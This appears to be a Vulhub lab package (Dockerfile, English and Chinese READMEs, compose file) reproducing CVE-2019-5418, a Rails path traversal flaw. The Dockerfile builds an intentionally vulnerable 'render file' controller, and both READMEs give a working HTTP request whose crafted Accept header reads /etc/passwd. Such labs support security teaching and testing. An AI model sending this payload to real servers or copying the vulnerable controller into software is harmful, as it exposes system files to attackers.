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rails/CVE-2019-5418/Dockerfile

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+FROM vulhub/rails:5.2.2
+
+LABEL maintainer="phithon <root@leavesongs.com>"
+
+RUN set -ex \
+    && rails generate controller vulhub \
+    && { \
+        echo 'class VulhubController < ApplicationController'; \
+        echo '  def index'; \
+        echo '    render file: "#{Rails.root}/public/robots.txt"'; \
+        echo '  end'; \
+        echo 'end'; \
+    } > app/controllers/vulhub_controller.rb \
+    && { \
+        echo 'Rails.application.routes.draw do'; \
+        echo "  get 'robots', to: 'vulhub#index'"; \
+        echo 'end'; \
+    } > config/routes.rb

rails/CVE-2019-5418/README.md

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+# Ruby on Rails Path Traversal and Arbitrary File Read (CVE-2019-5418)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
+
+There is a local file inclusion vulnerability in Ruby on Rails action view <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3.
+
+When using `render file` in a controller to render views outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value `Accept: ../../../../../../../../etc/passwd{{`, attackers can exploit a path traversal vulnerability to read arbitrary files.
+
+References:
+
+- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
+- https://github.com/mpgn/CVE-2019-5418
+- https://xz.aliyun.com/t/4448
+
+## Environment Setup
+
+Execute the following command to compile and start Ruby on Rails 5.2.2:
+
+```
+docker compose build
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:3000` to see the Ruby on Rails welcome page.
+
+## Vulnerability Reproduction
+
+Visit `http://your-ip:3000/robots` to see that the normal robots.txt file is being read.
+
+To exploit the vulnerability, send the following request to read `/etc/passwd`:
+
+```
+GET /robots HTTP/1.1
+Host: your-ip:3000
+Accept-Encoding: gzip, deflate
+Accept: ../../../../../../../../etc/passwd{{
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+
+
+```
+
+Successfully read the file:
+
+![](1.png)

rails/CVE-2019-5418/README.zh-cn.md

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+# Ruby on Rails 路径穿越与任意文件读取漏洞（CVE-2019-5418）
+
+Ruby on Rails 是一个用于快速构建Web应用的框架。
+
+在Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3时，当使用`render file`在控制器中渲染应用之外的视图时，会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞，读取和包含任意文件。
+
+参考链接：
+
+- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
+- https://github.com/mpgn/CVE-2019-5418
+- https://xz.aliyun.com/t/4448
+
+## 环境搭建
+
+执行如下命令编译及启动Ruby on Rails 5.2.2：
+
+```
+docker compose build
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。
+
+## 漏洞复现
+
+访问`http://your-ip:3000/robots`可见，正常的robots.txt文件被读取出来。
+
+利用漏洞，发送如下数据包，读取`/etc/passwd`：
+
+```
+GET /robots HTTP/1.1
+Host: your-ip:3000
+Accept-Encoding: gzip, deflate
+Accept: ../../../../../../../../etc/passwd{{
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+
+
+```
+
+成功读取：
+
+![](1.png)

rails/CVE-2019-5418/docker-compose.yml

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+version: '2'
+services:
+ web:
+   build: .
+   ports:
+    - "3000:3000"